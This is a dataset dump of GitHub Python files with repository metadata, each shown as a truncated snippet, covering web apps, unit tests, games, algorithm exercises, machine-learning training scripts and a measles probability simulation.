bef27f3d9f610712dfc514e87fe7f7d9ea23a42c | 44abd024f162383716d5f8f9109d2fc7041eb779 | /app.py | 6c2138ec0bf09db68c52495932441fda158faeef | [] | no_license | wstcpyt/viz_flask | 0a324612d3c492c2ffbfebbf9bbfb30a9265d585 | 305d04162a217929bde47a9846c1388eec231c67 | refs/heads/master | 2021-01-01T05:17:29.752285 | 2016-05-06T23:21:46 | 2016-05-06T23:21:46 | 58,237,166 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 448 | py | app.py | from flask import Flask, render_template, request, redirect
from flask_restful import Resource, Api
app = Flask(__name__)
app.config['DEBUG'] = False
@app.route('/')
def main():
return redirect('/index')
@app.route('/index')
def index():
return render_template('index.html')
api = Api(app)
class Vizq1(Resource):... |
4479ba1d4cb9bb6d358f0b265c15b794a5ae2673 | f5905e9434b17e294388323041c9a9630cb0c4ec | /hackathon/column1/test_15_4.py | 9cd7d8c66a23a0b7458643fd3b91dbb106f28b7f | [
"MIT"
] | permissive | abdurahmanadilovic/elements-of-programming-interviews | 3909fc82c8a37debe0363b4b65c412a8e7d1feac | 14d05935aa901f453ea2086e449b670e993a4c83 | refs/heads/master | 2020-05-22T15:18:26.702885 | 2019-09-10T06:02:13 | 2019-09-10T06:02:13 | 186,404,928 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 600 | py | test_15_4.py | from unittest import TestCase
from .problem_15_4_largest_k_values_bst import solution, Node
class TestSolution(TestCase):
def testSimpleCase(self):
leftRightLeft = Node()
leftRightLeft.value = 29
leftRight = Node()
leftRight.value = 37
leftRight.left = leftRightLeft
... |
62a7a5ffc6a044973a1dbd3424adbe31ee442043 | dc0f99683064633b507d040a9b243fb3fe07c628 | /tabl.py | 3cb3660962d3fa5ffaa7745a4b7ab53ca1cffa82 | [] | no_license | dmitriipolushin/finworkers | 03e1434556efbb21d9654ed2d46e98c4516f3822 | 2a4bbb261eb994006b2eff920f99bda5cc053932 | refs/heads/master | 2021-06-27T02:03:41.821850 | 2019-06-16T18:45:17 | 2019-06-16T18:45:17 | 150,883,878 | 1 | 1 | null | 2018-09-29T17:41:53 | 2018-09-29T16:43:31 | null | UTF-8 | Python | false | false | 772 | py | tabl.py | import random
def LevelCount(Lvl):
Count=0
Count=random.randint(1,12)
if (2<=Lvl<=4):
if (Count in range(2,5,1)):
Lvl+=4
elif (5<=Count<=8):
Lvl+=5
elif (9<=Count<=11):
Lvl+=1
elif (Count==12):
Lvl+=2
else: Lvl+=3
if... |
304ccd2d2e0e7721220a5d5f7eb985ab70caac45 | c990ba64b77b7b4034772fb15a5520a28f1ea5e7 | /copasi/bindings/python/examples/example2.py | 4c3ecd5344d1a6c881600b02a2b58de3470ad44a | [
"LicenseRef-scancode-other-copyleft",
"Artistic-2.0",
"LicenseRef-scancode-proprietary-license"
] | permissive | copasi/COPASI | a3fb515b4d9c667519ad756c52d8b82747a26e64 | 3ddf61e95191f2db09256dddc013f12041719a2c | refs/heads/develop | 2023-09-01T19:32:39.004552 | 2023-06-02T15:01:23 | 2023-06-02T15:01:23 | 4,810,881 | 75 | 34 | Artistic-2.0 | 2022-09-14T13:13:20 | 2012-06-27T16:35:48 | Component Pascal | UTF-8 | Python | false | false | 2,625 | py | example2.py | # -*- coding: utf-8 -*-
# Copyright (C) 2017 by Pedro Mendes, Virginia Tech Intellectual
# Properties, Inc., University of Heidelberg, and University of
# of Connecticut School of Medicine.
# All rights reserved.
# Copyright (C) 2010 - 2016 by Pedro Mendes, Virginia Tech Intellectual
# Properties, Inc., Universit... |
8a3bbc006bbe7178e648ee88afead344270f6784 | 50e39f12a6a9d44da920324320bda9c3bf7c1f89 | /code/python/elbow.py | 50eb6602be557204d35bef97cf9eb77dfe5d48ce | [] | no_license | yguimaraes/pfc_botnets | 6a4f72086bb5d2b3139788b9bd114165ec22e934 | fc840f683443aa6b51764d5e115ddc28ffb05e30 | refs/heads/master | 2020-04-16T10:27:46.339861 | 2016-10-05T14:19:20 | 2016-10-05T14:19:20 | 52,274,797 | 3 | 0 | null | 2016-10-05T14:19:21 | 2016-02-22T13:20:44 | TeX | UTF-8 | Python | false | false | 429 | py | elbow.py | import matplotlib.pyplot as plt
fig = plt.figure()
ax = fig.add_subplot(111)
t = range(1,10)
s = [500.0/(i**2) for i in range(1,10)]
line, = ax.plot(t, s)
ax.annotate('cotovelo', xy=(3*1.03,500.0/(3**2)*1.03), xytext=(4, 100),
arrowprops=dict(facecolor='black', shrink=0.05),
)
plt.plot(3,5... |
9bc8f37a3fc7ea280086253c9e88e3face29d84d | b56db8ba4956078f25f468fa987177e00ea7a296 | /src/vswarm/relative_localization/__init__.py | ee15b3ee35b1d1aee1011a10a9743253af4ad118 | [
"MIT"
] | permissive | lis-epfl/vswarm | 04e5fc9bfe3095ce3f3abe93f52cd542d5d52078 | 9683ca168bbc636fefec7c5f935f65e0512cf81d | refs/heads/master | 2023-05-22T23:27:44.721218 | 2022-08-09T11:40:50 | 2022-08-09T11:40:50 | 338,046,892 | 40 | 14 | null | null | null | null | UTF-8 | Python | false | false | 204 | py | __init__.py | from .relative_localization import RelativeLocalizer
from .relative_localization import detection_to_bearing, point_to_bearing
__all__ = ['RelativeLocalizer', 'detection_to_bearing', 'point_to_bearing']
|
b35608ad4aeb820c74b35b687b81f25e0bc40dc8 | 70865d6866b0631e80d550408dde37dc7343f336 | /codes/ui.py | 4e41ed2ef20a402b7868f805aa12b9d131f65e77 | [] | no_license | jackandsnow/MovieAnalysis | 02edf263efc81a6d07cbf12ed4888e35358d6b1c | a3644e683eb5c4f71331b90697fb2297c9d35f46 | refs/heads/master | 2020-12-07T22:26:11.398008 | 2020-01-11T13:07:57 | 2020-01-11T13:07:57 | 232,816,330 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,111 | py | ui.py | import collections
import os
import imageio
import jieba
import matplotlib.pyplot as plt
import pandas as pd
from PyQt5 import QtCore, QtWidgets
from pyecharts import Geo, Line, Bar, Overlap
from wordcloud import WordCloud, ImageColorGenerator
from codes.constant import movie_list, get_json_data
# 主窗口
class UI_Form... |
5b68bbf4c46be2badbb8223e0683701788f52360 | a570fc650e5f06730b91bafad74e803fa91dd24b | /Python/kraken/core/objects/operators/canvas_operator.py | 8dcaf2c27462b6f2b62cf2aaea14933a5c9a3554 | [
"BSD-3-Clause"
] | permissive | r4inm4ker/Kraken | d78580ecc14fd63fac625576de991bbac4c6ee61 | 65799f56ceb055c261d6d9a5399c0969c20090d9 | refs/heads/develop2.X | 2020-12-28T21:06:31.400353 | 2016-05-06T15:05:48 | 2016-05-06T15:05:48 | 58,533,679 | 2 | 0 | null | 2016-05-11T09:57:28 | 2016-05-11T09:57:28 | null | UTF-8 | Python | false | false | 8,741 | py | canvas_operator.py | """Kraken - objects.operators.kl_operator module.
Classes:
CanvasOperator - Splice operator object.
"""
import json
import pprint
from kraken.core.maths import MathObject, Mat44, Xfo
from kraken.core.objects.object_3d import Object3D
from kraken.core.objects.operators.operator import Operator
from kraken.core.objec... |
3ac94e651eff63cf3121bda9f59c841130269c4c | 4ba18540bfd8c523fe39bbe7d6c8fa29d4ec0947 | /atlas/foundations_events/src/foundations_events/notifiers/job_notifier.py | 4de42ec0c3147b13a5a1f0efffc4c85a85a802bd | [
"BSD-3-Clause",
"MIT",
"CC0-1.0",
"Apache-2.0",
"BSD-2-Clause",
"MPL-2.0"
] | permissive | yottabytt/atlas | c9d8ef45a0921c9f46d3ed94d42342f11488a85e | b040e574fbc64c833039b003f8a90345dd98e0eb | refs/heads/master | 2022-10-14T11:12:12.311137 | 2020-06-13T13:19:35 | 2020-06-13T13:19:35 | 272,008,756 | 0 | 0 | Apache-2.0 | 2020-06-13T12:55:29 | 2020-06-13T12:55:28 | null | UTF-8 | Python | false | false | 495 | py | job_notifier.py |
class JobNotifier(object):
def __init__(self, config_manager, slack_notifier):
self._slack_notifier = slack_notifier
self._config_manager = config_manager
def send_message(self, message):
channel = self._get_channel()
for _ in range(5):
if self._slack_notifier.... |
20f607f871e7ff3c535938db25167cbc3227faf2 | 7229c7c01e1e5b5f3c9448fc943714e494461e02 | /Tests/mnist_test_conv.py | aef742ac28e8d2df371fa969a6e9deda90206799 | [] | no_license | menwhitehead/NPANN | 0415356d74fda54e46025dd28348b47f646a9f8b | 1f6b245302e87c410cb77be12d813352af3eeb04 | refs/heads/master | 2021-01-20T20:29:02.899825 | 2017-12-08T00:17:22 | 2017-12-08T00:17:22 | 63,726,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,179 | py | mnist_test_conv.py | from npann.Utilities.misc_functions import *
from npann.Models.Sequential import Sequential
from npann.Layers.Dense import Dense
from npann.Layers.Convolution import Convolution
from npann.Layers.Flatten import Flatten
from npann.Layers.Activations.Sigmoid import Sigmoid
from npann.Losses.CategoricalCrossEntropy import... |
1389969a7ea79682e94750c2faf226a85dbad7ae | 3d0a2b6b7bade174148f40454c73b1bc581c3f97 | /dump_grep.py | 6b07191d4e501af4e1cd4cf79231d2cde335d8a5 | [
"LicenseRef-scancode-public-domain"
] | permissive | cdbeland/moss | 725c38a378b3a3bb171f2cebebdc3b68cf037693 | 8533535e90f5a91d813043937f66b4fc98465dcf | refs/heads/main | 2023-07-16T02:19:41.339254 | 2023-07-05T17:58:04 | 2023-07-05T17:58:04 | 28,994,418 | 11 | 0 | null | null | null | null | UTF-8 | Python | false | false | 851 | py | dump_grep.py | from moss_dump_analyzer import read_en_article_text
import sys
from xml.sax.saxutils import escape
if len(sys.argv) != 2:
print("Please specify exactly one search term on the command line")
exit(1)
search_term = sys.argv[1]
def grep_callback(article_title, article_text):
if search_term in article_titl... |
4e955b8a44dc02bc2ba17b5c78cdf0eefa9ad1e8 | 2c09c131378374386a05911f827129087a933c3c | /HW1/__init__.py | f8ee5ed6bf48de2cdd30a76855a6eb3905d03486 | [] | no_license | eedoudou/eedoudou | 92b7d1586cd49ffb4b0021141d443cfda71ab907 | 4c8f75de90f44693f4b1348143d3209be2c306a5 | refs/heads/master | 2021-07-06T07:24:10.185545 | 2017-10-01T06:02:29 | 2017-10-01T06:02:29 | 105,415,036 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 47 | py | __init__.py | print(len([a for a in 'aeiou' if a in'thias'])) |
a2e5504d0c534cfcf2e3ba936e2309988de315e4 | e7a19d4dda4c770492a832b1c2c1e1f47cc3b339 | /laboratory1/gameColorLines.py | 396aeb74beb7015b21e81491a318525b3f0722f1 | [] | no_license | ajerit/python-projects | cc859a9d8144d409a8c16a53348458c6d5a5f7bd | de16e655bac9ff6fd8fb8f81581fb88311b2f95b | refs/heads/master | 2021-01-01T05:12:53.083469 | 2016-04-29T00:39:16 | 2016-04-29T00:39:16 | 57,335,702 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33,683 | py | gameColorLines.py | # -*- coding: utf-8 -*-
#
# Adolfo Jeritson 12-10523
# Luis Carlos Marval 12-10620
#
# Laboratorio de Algoritmos y Estructuras I
# Proyecto: Lineas de colores y Rectangulos
#
import pygame, random
# ANALISIS DESCENDENTE
def InicializarGraficos(panel:'Pantalla', fondo: (int), negro: (int),
ancho: int, alto: in... |
1c3d5e3a9b1d9cc130da90c5bf8f67f945a0c894 | 10489995e85d6259da47473201700ccd5b0c2c80 | /11.盛最多水的容器_mid.py | 1e3361a393602931faf0e15c9208b0b539a0ca21 | [] | no_license | Vivhchj/LeeeCode_Notes | 1c40b96e20e54f2cb4fb98e8d272848916989cb5 | b8a9ec7fd7918a09009acd2dedee8dff30439a30 | refs/heads/master | 2022-08-27T23:12:02.753782 | 2020-06-02T02:29:48 | 2020-06-02T02:29:48 | 210,487,515 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,451 | py | 11.盛最多水的容器_mid.py | ### content:
### 给定 n 个非负整数 a1，a2，...，an，每个数代表坐标中的一个点 (i, ai) 。在坐标内画 n 条垂直线，垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0)。
### 找出其中的两条线，使得它们与 x 轴共同构成的容器可以容纳最多的水。
### 说明：你不能倾斜容器，且 n 的值至少为 2。
### solution:
### 暴力法：果然超时，我就不应该写出来
class Solution:
def maxArea(self, height: List[int]) -> int:
# n = len(height)
# most =... |
ad2b001160968cfc2ace938c4cb60848f6ae65a4 | 51733a4b2fab6c3e3f8cb15b7beb4a7a63979025 | /blog/views.py | 7c4897e3f7a46c5b02c55fb0c8095cc8aab1be68 | [] | no_license | Kan-j/cpblog | 2afdfad015710398c936d1bf187036996707fc29 | 3c8e67970e00b916568334ed45145847fe7923d9 | refs/heads/main | 2023-05-31T02:18:53.533543 | 2021-06-15T19:17:33 | 2021-06-15T19:17:33 | 377,268,492 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,959 | py | views.py | # -*- coding: utf-8 -*-
from django.contrib import messages
from django.db.models import Q
from django.shortcuts import redirect, render, reverse
from django.urls import reverse_lazy
from django.shortcuts import render, get_object_or_404
from django.views.generic import (
CreateView,
DeleteView,
DetailView,... |
bea2cbc5d93c21c11e0ac7e91dac2624365d7634 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2362/60622/286829.py | 1e8b6c163bcd78202cea02c189138de035148f1c | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 146 | py | 286829.py | n=int(input())
ans = 0;
a = [0, 1, 1, -2];
b = [1, 2, 6, 7];
if (n >= 5):
ans = n + 1 + a[n % 4];
if (n < 5):
ans = b[n - 1];
print(ans)
|
6f44619825ea25c25c8810af5758aa534d737a46 | 92364c3d12fcd9d6a24c9bba7383d89a4c39be19 | /iwgan-synthetic-mult-min.py | e700420b7bdddaa6f52145262d844377e7878d33 | [] | no_license | code-submission/imbalanced-sequence-classification | 73324f3982ea0d0f1ee5a0a0ba0b2c0a1bc185b8 | 14b5593bb0909fede8063977c65ba503f2340371 | refs/heads/master | 2021-03-31T09:18:43.258166 | 2020-03-18T00:56:57 | 2020-03-18T00:56:57 | 248,096,100 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,358 | py | iwgan-synthetic-mult-min.py | import sys
from utils.tf_models import *
import numpy as np
import os
'''
Use this script to generate synthetic data on minority given a GAN model trained on minority for non-sequence label
vectors.
Inputs:
data_dir: directory where training data is located
data: data type to invoke the correct Config file, either '... |
e5ffe4f88835dc3c8c12b99fe544674292f7d814 | 44c245a0ee585eeaf0be5d62c6eead2ee1421470 | /python1.py | c59c42cf7bae0c1ef5d10dc8ed9b3640a8e00221 | [] | no_license | muffin-king/Git-python | e433795ac8011f6837c249481de1b5de1b428350 | 71b2500e542b08ea3b5ab889467fbe7a3386d36a | refs/heads/master | 2023-01-21T12:15:18.703474 | 2020-05-19T00:58:27 | 2020-05-19T00:58:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 67 | py | python1.py | #poopybutt
import random
i=random.randstr("poopy","butt")
print(i)
|
06523a9aeafc660b691573886d95e08bf291be76 | af99a1faa999a52c1cbb46e6089e4172dc47c5d3 | /tests/test_subject_hierachy.py | 7b49ac44bc769125ad90ba7fc072e7c287a70933 | [] | no_license | DBCDK/bibdk | 69aaa19caa343b765b8fdca5bf5d89675e23243c | a93fe15edb371e62047924f22d2498989746588b | refs/heads/master | 2023-08-31T06:12:53.073108 | 2023-08-10T08:35:08 | 2023-08-10T08:35:08 | 3,569,473 | 3 | 0 | null | 2023-08-24T11:29:34 | 2012-02-28T08:50:34 | PHP | UTF-8 | Python | false | false | 12,991 | py | test_subject_hierachy.py | from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.common.action_chains import ActionChains
import time
__author__ = 'hrmoller'
import helpers
class TestBibdkSubjectHierachy(helpers.... |
3fff2a4874377cf9e39ad70c80a437a28a822a1a | d119565f750a2437cc12cf995464e16846ed65f9 | /pybufrkit/mdquery.py | 85529f6ec0633bbf7e81d6f051bc3f5e4e28586a | [
"MIT"
] | permissive | ywangd/pybufrkit | 7af625c033f1fcd519829f47d68e9ec184c46d20 | fbc0db04a4f92a6df484eee7e958499ede25d936 | refs/heads/master | 2023-05-18T16:53:23.568690 | 2023-04-29T11:21:51 | 2023-04-29T11:21:51 | 66,844,307 | 72 | 29 | MIT | 2023-04-29T11:21:52 | 2016-08-29T13:05:24 | Python | UTF-8 | Python | false | false | 1,958 | py | mdquery.py | """
pybufrkit.mdquery
~~~~~~~~~~~~~~~~~
"""
from __future__ import absolute_import
from __future__ import print_function
import logging
from pybufrkit.errors import MetadataExprParsingError
__all__ = ['MetadataExprParser', 'MetadataQuerent', 'METADATA_QUERY_INDICATOR_CHAR']
log = logging.getLogger(__file__)
METADA... |
0919f88e7a7ee5cc5c6c8599221828734e77b654 | 88fef57e6842ab221e1cf039d645d0676ca61147 | /release/specs/mitmweb | 14188a33a94f674a65f4dcc1745d9368549c9cd5 | [
"MIT"
] | permissive | magnologan/mitmproxy | a3b2ea45b99ad8c7137f929a9965377ccfeb3ffa | 18dd84b9081fb5552d5b5b2560405496445e2110 | refs/heads/master | 2022-01-27T18:35:19.627870 | 2016-07-19T10:23:40 | 2016-07-19T10:23:40 | 63,716,259 | 0 | 0 | MIT | 2021-09-01T07:08:25 | 2016-07-19T17:57:19 | Python | UTF-8 | Python | false | false | 68 | mitmweb | #!/usr/bin/env python
from mitmproxy.main import mitmweb
mitmweb()
| |
ce0873b7639649f407cf9f69fd5fba3e347e812b | e5c97b710707d2b9ad0f20fdc27f160be0492711 | /python/scripts/transcribe.py | ed924e4f6bc99ea05a971b1089fafbe30e9ed550 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | janaab11/kaldi-serve | e02c9d74f6b636e693ed6c72d0d71922e885174c | 2aa6036e6ed87f0846aef804a2cb2cd56c031594 | refs/heads/master | 2022-11-29T02:40:46.862261 | 2020-08-05T05:46:41 | 2020-08-05T05:46:41 | 265,179,404 | 0 | 0 | Apache-2.0 | 2020-05-19T07:41:43 | 2020-05-19T07:41:42 | null | UTF-8 | Python | false | false | 1,199 | py | transcribe.py | """
Audio Transcription script using kalidserve.
Usage: transcribe.py <model-spec-toml> <audio-file>
"""
import time
from io import BytesIO
from typing import List, Text
from docopt import docopt
import kaldiserve as ks
def transcribe(decoder: ks.Decoder, wav_stream: bytes) -> List[ks.Alternative]:
with ks.sta... |
a898a0b5afdbabb639ff9dc31f2b17a28535c824 | 0b5f4e15e66dc6c391fea72e4f7f3c777d3ae6aa | /tests/pytorch_pfn_extras_tests/training_tests/extensions_tests/test_snapshot_writers.py | 41b9ecfd97d9640ec37940210e1e35d5e8e9f849 | [
"MIT"
] | permissive | somisawa/pytorch-pfn-extras | b62c278aaccf85de7e9cbb7ed63a2dadad720437 | 4f017294b2dde7cdb2cbec7c1e1b897b4491645f | refs/heads/master | 2023-07-07T02:19:07.360337 | 2021-08-11T04:58:21 | 2021-08-11T04:58:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,532 | py | test_snapshot_writers.py | import multiprocessing
import threading
import tempfile
from unittest import mock
import pytest
from pytorch_pfn_extras import writing
spshot_writers_path = 'pytorch_pfn_extras.writing'
def test_simple_writer():
target = mock.MagicMock()
w = writing.SimpleWriter(foo=True)
savefun = mock.MagicMock()
... |
73dc661d58d23e0c2e2b88a4c720bdc37c0dfa71 | 6e554ad790c69ecc2c5ce0b602947bdc9bcb8a3b | /websiteobj.py | fcaa8e76c91bf8e86ef4fb5669fffa56eca5285b | [] | no_license | greg19735/qlikCrawler | b6c71ef57ac55d56bc7baad5103e8baf0c4d832e | 6fba05f287b1ba7dc13179ef8f7d0465a3034c4f | refs/heads/master | 2021-06-18T15:48:26.435612 | 2019-08-20T06:23:18 | 2019-08-20T06:23:18 | 202,674,060 | 0 | 0 | null | 2019-10-01T05:42:19 | 2019-08-16T06:47:39 | Python | UTF-8 | Python | false | false | 308 | py | websiteobj.py | class WebsiteObj(object):
def __init__(self,url,filename, domain , sitename , ext, folder, active):
self.url = url
self.filename = filename
self.ext = ext
self.sitename = sitename
self.domain = domain
self.folder = folder
self.active = active
|
ca54bfb348036ffc835df47bd6661ade1b9ecd40 | 4a667474901bddc75009a669c0d1ecf474259b85 | /sort/selection_sort.py | 00c5d0e99c4fe618455c50f4faf701e867893370 | [
"MIT"
] | permissive | johannah/interview_practice | 0e753e2154564baa81a44d3ee8860bb711d7fdd6 | 2f1d1bc6402e6f129b7fd185897a4845865ee9c9 | refs/heads/master | 2020-09-11T08:30:47.709830 | 2019-11-15T21:35:49 | 2019-11-15T21:35:49 | 222,005,949 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | selection_sort.py | # O(n^2)
def find_min_index(array):
min_value = array[0]
min_index = 0
for i, val in enumerate(array[1:]):
if val < min_value:
min_value = val
min_index = i+1
return min_index
def selection_sort(array):
for i in range(0, len(array)-1):
min_index = i+find_m... |
01e19561eb47aff23bcea1f9d075a24c82cb4c2e | 286a49d0360ee2eb718dd9a496be88555cef3227 | /dp动态规划/股票问题/188. 买卖股票的最佳时机 IV.py | d22fdd90189f2ec2016a3414b2457471b2ea372c | [] | no_license | NaiveteYaYa/data-structrue | 0618ab6bb7accc99c40e39a3ca60bbc0a9723c2f | a376863c1a8e007efafd5c1ed84929a80321b1b9 | refs/heads/master | 2023-07-02T03:15:33.523855 | 2021-08-14T02:02:07 | 2021-08-14T02:02:07 | 395,857,543 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,050 | py | 188. 买卖股票的最佳时机 IV.py | # -*- coding: utf-8 -*-
# @Time : 2020/3/10 14:45
# @Author : WuxieYaYa
"""
给定一个数组，它的第 i 个元素是一支给定的股票在第 i 天的价格。设计一个算法来计算你所能获取的最大利润。你最多可以完成 k 笔交易。
注意: 你不能同时参与多笔交易（你必须在再次购买前出售掉之前的股票）。
示例 1:
输入: [2,4,1], k = 2
输出: 2
解释: 在第 1 天 (股票价格 = 2) 的时候买入，在第 2 天 (股票价格 = 4) 的时候卖出，这笔交易所能获得利润 = 4-2 = 2 。
示例 2:
输入: [3,2,6,... |
71f9d9d7973809654db3ea613073f2d431f2d65f | fae681f6ec8810b0143b24656c561b146f2b8f1c | /tests/test_managers.py | b6484eb09134fbf84b0b76c318fa740ca9a9d976 | [] | no_license | simodalla/django-custom-email-user | d5362bc3d421ca590b51106ca7dd095c18e04777 | a8e91b655a03ea4b8bb58c52d892f7a369bb556c | refs/heads/master | 2020-03-31T09:41:59.678787 | 2015-05-27T10:30:18 | 2015-05-27T10:30:18 | 32,853,675 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,964 | py | test_managers.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals, absolute_import
from datetime import datetime
try:
from unittest.mock import patch
except ImportError:
from mock import patch
import pytest
from django.test import TestCase
try:
from django.test import override_settings
except ImportError:
... |
05bd95966d72dd40b9b828932b0bf70e40ddb573 | f3732298f444df3525bec944cc3949e54fc343d0 | /Raspberry_code.py | 4223541782ff9f28f7e2d9de0e223711e70f4161 | [] | no_license | FEDE9326/SmartBed | cc339d655ebb1686e21261d19b4b8c785e37b6fa | 35cdcb34cf79ee3098266dba137d6bc2a2c2319f | refs/heads/master | 2021-06-06T15:01:02.978140 | 2020-05-12T15:43:57 | 2020-05-12T15:43:57 | 57,149,810 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,914 | py | Raspberry_code.py | '''
Created on 14 november 2015
@author: federico
'''
import paho.mqtt.client as mosquitto
import json
import urllib,urllib2
import datetime
import threading
import time
from pygame import mixer
from datetime import timedelta
#ALARM SOUND PATH
alarm_path="/home/pi/SmartBed/Smart_Bed/src/Rooster.wav"
#DWEET&FREEBOA... |
076d9f0c14a8070993039bbda2ffe4d52c8d2273 | e590cdf21a6a2123bbb5388b711670e41f31c06f | /Homework4/measles.py | 73c2e6a06ef28b26421c7ce66bff9118172ba818 | [] | no_license | Certinax/cst383-data-science | 0161aa58c2634a8a316e9f22b660493011a24957 | a723a387e5390a629e77e6a9d68cd738e1ee93d2 | refs/heads/master | 2023-01-05T23:31:46.458067 | 2020-11-06T05:44:25 | 2020-11-06T05:44:25 | 205,760,235 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,686 | py | measles.py | # -*- coding: utf-8 -*-
"""
CST 383, measles simulation homework
# Here's a question. Suppose 1% of people have measles, that the
# test for measles if 98% accurate if you do have measles, and 98%
# accurate if you don't have measles. Then what is the probability
# that you have measles, given that you have... |
c23bd136991bfb41f153321420c2fcfba0c843f4 | 47ae0df8f983b051f090875bc71f615e8e98f8c7 | /main/run.py | 84295fa3b461b3ea4717b594c33d2701d62f7b12 | [] | no_license | tungnnt/Midterm-NLP-Homework | a911344ff4dd46bc84633f336d64c87faac07b0c | 0e473ea07b067908dbe8a19f4f503c73779be757 | refs/heads/master | 2023-01-23T00:34:38.005341 | 2020-11-19T23:01:01 | 2020-11-19T23:01:01 | 314,289,320 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,065 | py | run.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, pickle, json, ast
import pandas as pd
from scipy import spatial
import numpy as np
from scipy import stats
from sklearn.model_selection import train_test_split
from sklearn import preprocessing
from sklearn.svm import LinearSVC
from sklearn.metrics import preci... |
9fa534664056a8cf9e9a64ccc7d6dd4de2ec0936 | cad91ae76d2746a6c28ddda0f33a58f9d461378f | /CUDA-Optimized/FastSpeech/fastspeech/trainer/trainer.py | e9d12ca927b859f1cf55c74faf66564c84d40b48 | [] | no_license | NVIDIA/DeepLearningExamples | fe677521e7e2a16e3cb0b77e358f9aab72f8c11a | a5388a45f71a949639b35cc5b990bd130d2d8164 | refs/heads/master | 2023-08-31T20:57:08.798455 | 2023-08-23T10:09:12 | 2023-08-23T10:09:12 | 131,881,622 | 11,838 | 3,124 | null | 2023-08-28T16:57:33 | 2018-05-02T17:04:05 | Jupyter Notebook | UTF-8 | Python | false | false | 9,132 | py | trainer.py | # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditio... |
e07bd4cd13209bff8bc1119a619a2954abd52592 | 97ff9057b63c134ea167304252d10126aa92f25b | /src/Heuristic.py | c9863b05651e50bda4c00ab2ddd7142540f9cbeb | [] | no_license | chengyingyuan/ImageAutoAnnotation | ad8aa465800f8bf687d50167d46151641b8c19ae | d5bfb92f9c2a8c7351bcb14cf32d71c80657fc7f | refs/heads/master | 2021-01-16T17:52:52.120420 | 2017-08-11T10:07:19 | 2017-08-11T10:07:19 | 100,018,676 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 760 | py | Heuristic.py | import time
class SequenceHeuristic(object):
def __init__(self, minChanges, minDuration, noMotionDelay):
self._minChanges = minChanges
self._minDuration = minDuration
self._noMotionDelay = noMotionDelay
self._duration = 0
def isValid(self, image, data):
numOfChanges... |
8e8c72362dfb1587150aadaa6b8a0aeb77c3641a | 6b15f5cab9091792024f8756e2cf0bab554bcfe2 | /Tedwebsite/blog/migrations/0006_auto_20200111_1520.py | a7f8b6b8c3acd4541c94d05b372c426e355063bc | [] | no_license | Jaikishan30/Website | df1f4e853af99099bc4de70dd61ee50c3df6bfe0 | bb3467dc4283de02592c80836b001308d77f2172 | refs/heads/master | 2023-08-29T07:23:02.276495 | 2021-10-25T18:32:47 | 2021-10-25T18:32:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 396 | py | 0006_auto_20200111_1520.py | # Generated by Django 3.0.1 on 2020-01-11 09:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0005_auto_20200111_1513'),
]
operations = [
migrations.AlterField(
model_name='post',
name='photo',
... |
b7007778ea9dfac3af8c31d66d32d8157dc0d69b | a368dc2d013e09c14a902780271755ae94c2320e | /translate/test.py | 0020ad0e8ad6aa774b4c118f235a5046e335c75d | [] | no_license | zhuguangfei/ReadBookAi | cd86a36f05236dfe8a87b441ae7855a2727a4c2f | 3a18b015b13b0dc1c407768e3b262cc3b0d3ce7c | refs/heads/master | 2020-03-26T03:48:10.261760 | 2018-09-17T14:10:30 | 2018-09-17T14:10:30 | 144,471,353 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,125 | py | test.py | # -*- coding:utf-8 -*-
import os
import numpy as np
import tensorflow as tf
from translate import datautil
import seq2seq_model
_buckets = []
convo_hist_limit = 1
max_source_length = 1
max_target_length = 2
flags = tf.app.flags
FLAGS = flags.FLAGS
tf.reset_default_graph
max_train_data_size = 0
data_dir = 'datacn... |
943e8be7a9ee4e494c0a42e1368555f3df3de897 | 3f41bafb8012f264605724dbe9b1a6ee11a1f767 | /source/classification/ResNet50_augmentation.py | f75dfa44261873530b8b202f619aa15230993c45 | [] | no_license | pervin0527/pervinco | 6d0c9aad8dbf6d944960b2e2c963054d1d91b29a | 9ced846438130341726e31954cc7e45a887281ef | refs/heads/master | 2022-11-26T02:11:00.848871 | 2022-11-24T00:56:14 | 2022-11-24T00:56:14 | 223,062,903 | 5 | 3 | null | null | null | null | UTF-8 | Python | false | false | 11,307 | py | ResNet50_augmentation.py | import pathlib, random, cv2
import tensorflow as tf
import numpy as np
import tensorflow.keras.backend as K
import albumentations as A
from matplotlib import pyplot as plt
from functools import partial
